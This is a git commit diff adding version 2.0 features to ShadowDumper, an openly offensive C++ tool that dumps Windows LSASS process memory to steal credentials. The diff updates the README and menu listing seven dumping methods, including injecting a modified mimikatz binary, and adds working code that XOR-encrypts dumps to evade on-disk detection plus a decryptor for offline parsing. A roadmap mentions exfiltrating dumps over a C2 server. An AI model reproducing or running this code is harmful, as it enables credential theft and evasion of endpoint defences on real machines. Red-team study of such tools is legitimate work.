V2.0 Launch

This commit is contained in:
Offensive-Panda
2025-03-02 11:54:55 +03:00
parent f92388a1f0
commit 0862e31ecc
96 changed files with 1779 additions and 539 deletions
+24 -6
View File
@@ -40,15 +40,28 @@ To run ShadowDumper, execute the compiled binary from the powershell.
<img src="ShadowDumper/Assets/display.png" alt="Help" width="600"/>
</p>
**Default Mode (V2.0)**
- No Parameter Provided: Show the user friendly console with multiple options to execute
<p align="center">
<img src="ShadowDumper/Assets/displayv2.png" alt="Help" width="600"/>
</p>
**CommandLine Mode (V1.0)**
- Parameter: -h: Displays a help menu with all available options.
<p align="center">
<img src="ShadowDumper/Assets/help.png" alt="Help" width="600"/>
</p>
**CommandLine Mode (V2.0)**
- Parameter: -h: Displays a help menu with all available options.
<p align="center">
<img src="ShadowDumper/Assets/helpv2.png" alt="Help" width="600"/>
</p>
```cpp
ShadowDumper.exe
- Parameter: 1: To dump lsass memory using unhooking technique to inject modified mimikatz binary.
- Parameter: 1: To dump lsass memory using unhooking technique to inject modified mimikatz binary [Token Elevation, SAM Dumping, Vault Credentials, Lsass Hashes Dumping].
ShadowDumper.exe
- Parameter: 2: To dump lsass memory using unhooking technique to inject binary using direct syscalls with MDWD.
@@ -57,16 +70,19 @@ To run ShadowDumper, execute the compiled binary from the powershell.
- Parameter: 3: To dump lsass memory using simple MiniDumpWriteDump API.
ShadowDumper.exe
- Parameter: 4: To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks.
- Parameter: 4: To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks and encrypt the dumps before writing on disk as per your choice.
ShadowDumper.exe
- Parameter: 5: To dump lsass memory using process forking technique.
- Parameter: 5: To dump lsass memory using process forking technique and encrypt the dumps before writing on disk as per your choice.
ShadowDumper.exe
- Parameter: 6: To dump lsass memory using direct syscalls with MiniDumpWriteDump.
ShadowDumper.exe
- Parameter: 7: To dump lsass memory using direct syscalls (native dump with needed streams for parsing offline)
- Parameter: 7: To dump lsass memory using direct syscalls (native dump with needed streams for parsing offline).
ShadowDumper.exe
- Parameter: 8: To decrypt the dump file before offline parsing with tools like (mimikatz or pypykatz).
```
@@ -75,12 +91,14 @@ Demonstrates the working of ShadowDumper (V1.0).
![Demo](ShadowDumper/Assets/D.gif)
Demonstrates the working of ShadowDumper (V1.0).
![Demo](ShadowDumper/Assets/D2.gif)
## 🔄 Upcoming
```cpp
- Defense Evasion Techniques: Add more advance defense evasion techniques.
- OnDisk Detection: Encrypt dump file before writing on the disk.
- Exfiltrate: Exfiltrate dump file over C2 server.
- Enhancement: Add more techniques to dump lsass memory.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,14 +1,18 @@
{
"Version": 1,
"WorkspaceRootPath": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\",
"WorkspaceRootPath": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\",
"Documents": [
{
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\decrypt.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\decrypt.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
}
],
"DocumentGroupContainers": [
@@ -18,32 +22,45 @@
"DocumentGroups": [
{
"DockedWidth": 200,
"SelectedChildIndex": 0,
"SelectedChildIndex": 2,
"Children": [
{
"$type": "Document",
"DocumentIndex": 0,
"Title": "unhook.cpp",
"DocumentMoniker": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp",
"RelativeDocumentMoniker": "ShadowDumper\\unhook.cpp",
"ToolTip": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp",
"RelativeToolTip": "ShadowDumper\\unhook.cpp",
"ViewState": "AgIAAFEAAAAAAAAAAAAmwJMAAAAAAAAAAAAAAA==",
"DocumentIndex": 1,
"Title": "decrypt.cpp",
"DocumentMoniker": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\decrypt.cpp",
"RelativeDocumentMoniker": "ShadowDumper\\decrypt.cpp",
"ToolTip": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\decrypt.cpp",
"RelativeToolTip": "ShadowDumper\\decrypt.cpp",
"ViewState": "AgIAAEgAAAAAAAAAAAAAADoAAAALAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
"WhenOpened": "2024-11-05T08:03:28.253Z",
"WhenOpened": "2025-03-02T07:54:09.306Z",
"EditorCaption": ""
},
{
"$type": "Document",
"DocumentIndex": 1,
"Title": "main.cpp",
"DocumentMoniker": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp",
"RelativeDocumentMoniker": "ShadowDumper\\main.cpp",
"ToolTip": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp",
"RelativeToolTip": "ShadowDumper\\main.cpp",
"ViewState": "AQIAAAAAAAAAAAAAAAAAAAQAAAAaAAAA",
"DocumentIndex": 2,
"Title": "unhook.cpp",
"DocumentMoniker": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp",
"RelativeDocumentMoniker": "ShadowDumper\\unhook.cpp",
"ToolTip": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp",
"RelativeToolTip": "ShadowDumper\\unhook.cpp",
"ViewState": "AgIAABIAAAAAAAAAAAAAABIAAAAXAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
"WhenOpened": "2024-11-05T07:09:20.508Z"
"WhenOpened": "2024-11-05T08:03:28.253Z"
},
{
"$type": "Document",
"DocumentIndex": 0,
"Title": "main.cpp",
"DocumentMoniker": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp",
"RelativeDocumentMoniker": "ShadowDumper\\main.cpp",
"ToolTip": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp",
"RelativeToolTip": "ShadowDumper\\main.cpp",
"ViewState": "AgIAAL0AAAAAAAAAAAAAACIAAABWAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
"WhenOpened": "2024-11-05T07:09:20.508Z",
"EditorCaption": ""
}
]
}
@@ -1,14 +1,14 @@
{
"Version": 1,
"WorkspaceRootPath": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\",
"WorkspaceRootPath": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\",
"Documents": [
{
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
},
{
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
"AbsoluteMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{46D3E566-0EBA-4BD9-925E-84F4CB9EE7BC}|ShadowDumper\\ShadowDumper.vcxproj|solutionrelative:ShadowDumper\\unhook.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
}
],
"DocumentGroupContainers": [
@@ -18,32 +18,32 @@
"DocumentGroups": [
{
"DockedWidth": 200,
"SelectedChildIndex": 0,
"SelectedChildIndex": 1,
"Children": [
{
"$type": "Document",
"DocumentIndex": 0,
"DocumentIndex": 1,
"Title": "unhook.cpp",
"DocumentMoniker": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp",
"DocumentMoniker": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp",
"RelativeDocumentMoniker": "ShadowDumper\\unhook.cpp",
"ToolTip": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\unhook.cpp",
"ToolTip": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\unhook.cpp",
"RelativeToolTip": "ShadowDumper\\unhook.cpp",
"ViewState": "AgIAAAAAAAAAAAAAAAAAAF8AAAAeAAAAAAAAAA==",
"ViewState": "AgIAABIAAAAAAAAAAAAAABIAAAAXAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
"WhenOpened": "2024-11-05T08:03:28.253Z",
"EditorCaption": ""
"WhenOpened": "2024-11-05T08:03:28.253Z"
},
{
"$type": "Document",
"DocumentIndex": 1,
"DocumentIndex": 0,
"Title": "main.cpp",
"DocumentMoniker": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp",
"DocumentMoniker": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp",
"RelativeDocumentMoniker": "ShadowDumper\\main.cpp",
"ToolTip": "C:\\Users\\DARKN3T\\source\\repos\\ShadowDumper\\ShadowDumper\\main.cpp",
"ToolTip": "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\ShadowDumper\\main.cpp",
"RelativeToolTip": "ShadowDumper\\main.cpp",
"ViewState": "AQIAAAAAAAAAAAAAAAAAAAQAAAAaAAAA",
"ViewState": "AgIAACEAAAAAAAAAAAAAAEEAAAA4AAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
"WhenOpened": "2024-11-05T07:09:20.508Z"
"WhenOpened": "2024-11-05T07:09:20.508Z",
"EditorCaption": ""
}
]
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 17 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.
+13
View File
@@ -96,3 +96,16 @@ inline BOOL CALLBACK minidumpCallback(
}
return TRUE;
}
inline void Encrypt(void* DumpBuffer, int BytesRead)
{
// Cast the void pointer to a BYTE pointer for byte-level manipulation
BYTE* buffer = reinterpret_cast<BYTE*>(DumpBuffer);
for (int i = 0; i < BytesRead; i++) // Corrected to avoid off-by-one error
{
buffer[i] = buffer[i] ^ 0x9A1C; // First XOR with 0x9A1C
buffer[i] = buffer[i] ^ 0x5B9C; // Second XOR with 0x5B9C
}
printf("Successfully encrypted created dump before writing on disk.\n");
}
+1
View File
@@ -0,0 +1 @@
#pragma once
Binary file not shown.
+2 -2
View File
@@ -50,7 +50,7 @@ END
// pan_bin
//
IDR_PAN_BIN1 pan_bin "C:\\Users\\DARKN3T\\Downloads\\d_v1.0\\pan.bin"
IDR_PAN_BIN1 pan_bin "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\Resource Shellcodes\\pan.bin"
/////////////////////////////////////////////////////////////////////////////
@@ -58,7 +58,7 @@ IDR_PAN_BIN1 pan_bin "C:\\Users\\DARKN3T\\Downloads\\
// off_bin
//
IDR_OFF_BIN1 off_bin "C:\\Users\\DARKN3T\\Downloads\\d_v1.0\\off.bin"
IDR_OFF_BIN1 off_bin "C:\\Users\\Public\\ShadowDumper\\ShadowDumper\\Resource Shellcodes\\off.bin"
#endif // English (United States) resources
/////////////////////////////////////////////////////////////////////////////
@@ -42,13 +42,13 @@
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
@@ -119,6 +119,7 @@
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@@ -129,6 +130,7 @@
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="callbacksMDWD.cpp" />
<ClCompile Include="decrypt.cpp" />
<ClCompile Include="forkdump.cpp" />
<ClCompile Include="main.cpp">
<CompileAs Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Default</CompileAs>
@@ -39,6 +39,9 @@
<ClCompile Include="nativeDS.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="decrypt.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h">
+11 -1
View File
@@ -12,7 +12,7 @@ using namespace std;
bool callbacksMDWD()
bool callbacksMDWD(bool encrypt = false)
{
int returnCode;
HANDLE dumpFile = NULL;
@@ -53,6 +53,16 @@ bool callbacksMDWD()
printf("Successfully created dump of lsass process.\n");
if (encrypt) {
// Encryption logic here
std::cout << "Encrypting the dump data before writing on disk.\n";
Encrypt(dBuff, bReadd);
}
else {
std::cout << "Proceeding without encryption..." << std::endl;
}
std::string dumpFileName = "C:\\Users\\Public\\callback.elf";
dumpFile = CreateFileA(dumpFileName.c_str(), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+88
View File
@@ -0,0 +1,88 @@
#include <Windows.h>
#include <tchar.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string>
#include <iostream>
#include "sysMDWD.h"
#include <search.h>
#include <algorithm>
void Decrypt(void* DumpBuffer, int BytesRead)
{
// Cast the void pointer to a BYTE pointer for byte-level manipulation
BYTE* buffer = reinterpret_cast<BYTE*>(DumpBuffer);
for (int i = 0; i < BytesRead; i++) // Corrected to avoid off-by-one error
{
buffer[i] = buffer[i] ^ 0x9A1C; // First XOR with 0x9A1C
buffer[i] = buffer[i] ^ 0x5B9C; // Second XOR with 0x5B9C
}
printf("Successfully decrypted lsass memory dump.\n");
}
bool DecryptDumpFile(LPCWSTR inputFilePath, LPCWSTR outputFilePath)
{
// Open the input file for reading
HANDLE hInputFile = CreateFileW(inputFilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hInputFile == INVALID_HANDLE_VALUE)
{
std::wcerr << L"Failed to open input file: " << inputFilePath << L" (Error: " << GetLastError() << L")\n";
return false;
}
// Get the file size
DWORD fileSize = GetFileSize(hInputFile, NULL);
if (fileSize == INVALID_FILE_SIZE)
{
std::wcerr << L"Failed to get file size. (Error: " << GetLastError() << L")\n";
CloseHandle(hInputFile);
return false;
}
// Allocate memory for the file data
BYTE* buffer = new BYTE[fileSize];
DWORD bytesRead = 0;
// Read the file into the buffer
if (!ReadFile(hInputFile, buffer, fileSize, &bytesRead, NULL))
{
std::wcerr << L"Failed to read input file. (Error: " << GetLastError() << L")\n";
delete[] buffer;
CloseHandle(hInputFile);
return false;
}
CloseHandle(hInputFile);
// Decrypt the data
Decrypt(buffer, bytesRead);
// Open the output file for writing
HANDLE hOutputFile = CreateFileW(outputFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE)
{
std::wcerr << L"Failed to create output file: " << outputFilePath << L" (Error: " << GetLastError() << L")\n";
delete[] buffer;
return false;
}
DWORD bytesWritten = 0;
// Write the decrypted data to the output file
if (!WriteFile(hOutputFile, buffer, bytesRead, &bytesWritten, NULL))
{
std::wcerr << L"Failed to write to output file. (Error: " << GetLastError() << L")\n";
delete[] buffer;
CloseHandle(hOutputFile);
return false;
}
CloseHandle(hOutputFile);
// Clean up
delete[] buffer;
std::wcout << L"Decrypted lsass dump file written to: " << outputFilePath << L"\n";
return true;
}
+10 -1
View File
@@ -73,7 +73,7 @@ BOOL CALLBACK mCallback(
return TRUE;
}
bool reflectDump()
bool reflectDump(bool enc = false)
{
int returnCode;
HANDLE dumpFile = NULL;
@@ -148,6 +148,15 @@ bool reflectDump()
printf("Successfully created dump of the forked process \n");
if (enc) {
// Encryption logic here
std::cout << "Encrypting the dump data before writing on disk.\n";
Encrypt(dBuf, bRead);
}
else {
std::cout << "Proceeding without encryption..." << std::endl;
}
std::string dumpFileName = "C:\\Users\\Public\\panda.raw";
dumpFile = CreateFileA(dumpFileName.c_str(), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+96 -48
View File
@@ -1,26 +1,8 @@
/*
* © 2024 Usman Sikander - Offensive Panda
*
* This software is provided under the MIT License.
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software
* and associated documentation files (the "Software"), to deal in the Software without restriction,
* including without limitation the rights to use, copy, modify, merge, publish, distribute,
* sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or
* substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
* BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
* DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#define _CRT_SECURE_NO_WARNINGS // Suppress security warnings
#include <iostream>
#include <limits>
#define NOMINMAX
#include <windows.h>
#include <string>
#include <functional>
@@ -50,7 +32,7 @@ void DisplayLogo() {
SetConsoleColor(MAGENTA);
std::cout << "*****************************************************************************" << std::endl;
SetConsoleColor(CYAN);
std::cout << "* WELCOME TO MULTI-METHOD LSASS DUMPING TOOL (SHADOW DUMPER v1.0) *" << std::endl;
std::cout << "* WELCOME TO MULTI-METHOD LSASS DUMPING TOOL (SHADOW DUMPER v2.0) *" << std::endl;
SetConsoleColor(YELLOW);
std::cout << "* Created by Usman Sikander (a.k.a offensive-panda) *" << std::endl;
SetConsoleColor(MAGENTA);
@@ -62,20 +44,21 @@ void DisplayMenu() {
SetConsoleColor(GREEN);
std::cout << "\n*******************************" << std::endl;
SetConsoleColor(CYAN);
std::cout << "ShadowDumper: A powerful tool created in C/C++ to dump LSASS memory using multiple advanced techniques © Offensive-Panda" << std::endl;
std::cout << "ShadowDumper: A powerful tool created in C/C++ to dump LSASS memory using multiple advanced techniques © Offensive-Panda" << std::endl;
SetConsoleColor(YELLOW);
std::cout << "Note: All Dump files will be stored in C:\\Users\\Public" << std::endl;
SetConsoleColor(YELLOW);
std::cout << "*******************************" << std::endl;
SetConsoleColor(GREEN);
std::cout << "\nSelect an option to proceed:" << std::endl;
std::cout << "1. To dump lsass memory using unhooking technique to inject modified mimikatz binary." << std::endl;
std::cout << "1. To dump lsass memory using unhooking technique to inject modified mimikatz binary [Token Elevation, SAM Dumping, Vault Credentials, Lsass Hashes Dumping]. " << std::endl;
std::cout << "2. To dump lsass memory using unhooking technique to inject binary using direct syscalls with MDWD." << std::endl;
std::cout << "3. To dump lsass memory using simple MiniDumpWriteDump API." << std::endl;
std::cout << "4. To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks. " << std::endl;
std::cout << "5. To dump lsass memory using process forking technique." << std::endl;
std::cout << "4. To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks and encrypt the dumps before writing on disk as per your choice. " << std::endl;
std::cout << "5. To dump lsass memory using process forking technique and encrypt the dumps before writing on disk as per your choice." << std::endl;
std::cout << "6. To dump lsass memory using direct syscalls with MiniDumpWriteDump." << std::endl;
std::cout << "7. To dump lsass memory using direct syscalls (native dump with needed streams for parsing offline)." << std::endl;
std::cout << "8. To decrypt the dump file before offline parsing with tools like (mimikatz or pypykatz)." << std::endl;
std::cout << "0. Exit" << std::endl;
SetConsoleColor(WHITE);
}
@@ -125,27 +108,65 @@ void ExecuteTask(int option) {
}
break;
case 4:
if (callbacksMDWD()) {
SetConsoleColor(CYAN);
std::cout << "Happy Hacking.....Enjoy Dump!" << std::endl;
exit(0);
}
else {
SetConsoleColor(RED);
std::cout << "Failed to dump lsass....oops!" << std::endl;
exit(0);
std::cout << "Do you want to encrypt the dump before writing on disk [yes/no]: ";
{
std::string response;
std::cin >> response;
if (response == "yes" || response == "y" || response == "Y") {
if (callbacksMDWD(true)) {
SetConsoleColor(CYAN);
std::cout << "Happy Hacking.....Enjoy Encrypted Dump!" << std::endl;
exit(0);
}
else {
SetConsoleColor(RED);
std::cout << "Failed to dump and encrypt data....oops!" << std::endl;
exit(0);
}
}
else {
if (callbacksMDWD()) {
SetConsoleColor(CYAN);
std::cout << "Lsass memory dumped successfully without encryption!" << std::endl;
exit(0);
}
else {
SetConsoleColor(RED);
std::cout << "Failed to dump data....oops!" << std::endl;
exit(0);
}
}
}
break;
case 5:
if (reflectDump()) {
SetConsoleColor(CYAN);
std::cout << "Happy Hacking.....Enjoy Dump!" << std::endl;
exit(0);
}
else {
SetConsoleColor(RED);
std::cout << "Failed to dump lsass....oops!" << std::endl;
exit(0);
std::cout << "Do you want to encrypt the dump before writing on disk [yes/no]: ";
{
std::string response;
std::cin >> response;
if (response == "yes" || response == "y" || response == "Y") {
if (reflectDump(true)) {
SetConsoleColor(CYAN);
std::cout << "Happy Hacking.....Enjoy Encrypted Dump!" << std::endl;
exit(0);
}
else {
SetConsoleColor(RED);
std::cout << "Failed to dump and encrypt data....oops!" << std::endl;
exit(0);
}
}
else {
if (reflectDump()) {
SetConsoleColor(CYAN);
std::cout << "Lsass memory dumped successfully without encryption!" << std::endl;
exit(0);
}
else {
SetConsoleColor(RED);
std::cout << "Failed to dump data....oops!" << std::endl;
exit(0);
}
}
}
break;
case 6:
@@ -172,6 +193,31 @@ void ExecuteTask(int option) {
exit(0);
}
break;
case 8:
SetConsoleColor(YELLOW);
wchar_t inputFilePath[MAX_PATH];
wchar_t outputFilePath[MAX_PATH];
std::wcin.ignore(std::numeric_limits<std::streamsize>::max(), L'\n');
// Prompt user for input file path
std::wcout << L"Enter the input file path: ";
std::wcin.getline(inputFilePath, MAX_PATH); // Read input directly
// Prompt user for output file path
std::wcout << L"Enter the output file path: ";
std::wcin.getline(outputFilePath, MAX_PATH); // Read input directly
if (DecryptDumpFile(inputFilePath, outputFilePath)) {
SetConsoleColor(CYAN);
std::wcout << L"Decryption completed successfully.......Enjoy Dump!" << std::endl;
exit(0);
}
else {
SetConsoleColor(RED);
std::wcout << L"Failed to decrypt the file. Please try again." << std::endl;
exit(0);
}
break;
default:
SetConsoleColor(RED);
std::cout << "Invalid option! Please choose a valid option." << std::endl;
@@ -186,19 +232,21 @@ void DisplayHelp() {
SetConsoleColor(CYAN);
std::cout << "Options:" << std::endl;
SetConsoleColor(YELLOW);
std::cout << " ShadowDumper.exe 1 To dump lsass memory using unhooking technique to inject modified mimikatz binary." << std::endl;
std::cout << " ShadowDumper.exe 1 To dump lsass memory using unhooking technique to inject modified mimikatz binary [Token Elevation, SAM Dumping, Vault Credentials, Lsass Hashes Dumping]." << std::endl;
SetConsoleColor(RED);
std::cout << " ShadowDumper.exe 2 To dump lsass memory using unhooking technique to inject binary using direct syscalls with MDWD." << std::endl;
SetConsoleColor(GREEN);
std::cout << " ShadowDumper.exe 3 To dump lsass memory using simple MiniDumpWriteDump API." << std::endl;
SetConsoleColor(CYAN);
std::cout << " ShadowDumper.exe 4 To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks." << std::endl;
std::cout << " ShadowDumper.exe 4 To dump lsass memory using MINIDUMP_CALLBACK_INFORMATION callbacks and encrypt the dumps before writing on disk as per your choice." << std::endl;
SetConsoleColor(YELLOW);
std::cout << " ShadowDumper.exe 5 To dump lsass memory using process forking technique." << std::endl;
std::cout << " ShadowDumper.exe 5 To dump lsass memory using process forking technique and encrypt the dumps before writing on disk as per your choice." << std::endl;
SetConsoleColor(RED);
std::cout << " ShadowDumper.exe 6 To dump lsass memory using direct syscalls with MiniDumpWriteDump." << std::endl;
SetConsoleColor(GREEN);
std::cout << " ShadowDumper.exe 7 To dump lsass memory using direct syscalls (native dump with needed streams for parsing offline)" << std::endl;
std::cout << " ShadowDumper.exe 7 To dump lsass memory using direct syscalls (native dump with needed streams for parsing offline)." << std::endl;
SetConsoleColor(CYAN);
std::cout << " ShadowDumper.exe 7 To decrypt the dump file before offline parsing with tools like (mimikatz or pypykatz)." << std::endl;
SetConsoleColor(GREEN);
@@ -272,4 +320,4 @@ int main(int argc, char* argv[]) {
return 0;
}
}
-1
View File
@@ -17,7 +17,6 @@
#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects
#endif
extern bool reflectDump();
typedef struct {
HANDLE UniqueProcess;
+4 -1
View File
@@ -9,9 +9,12 @@
// Declaration of unhook function
extern bool sysMDWD();
extern bool simpleMDWD();
extern bool callbacksMDWD();
extern bool callbacksMDWD(bool encrypt = false);
extern bool reflectDump(bool enc = false);
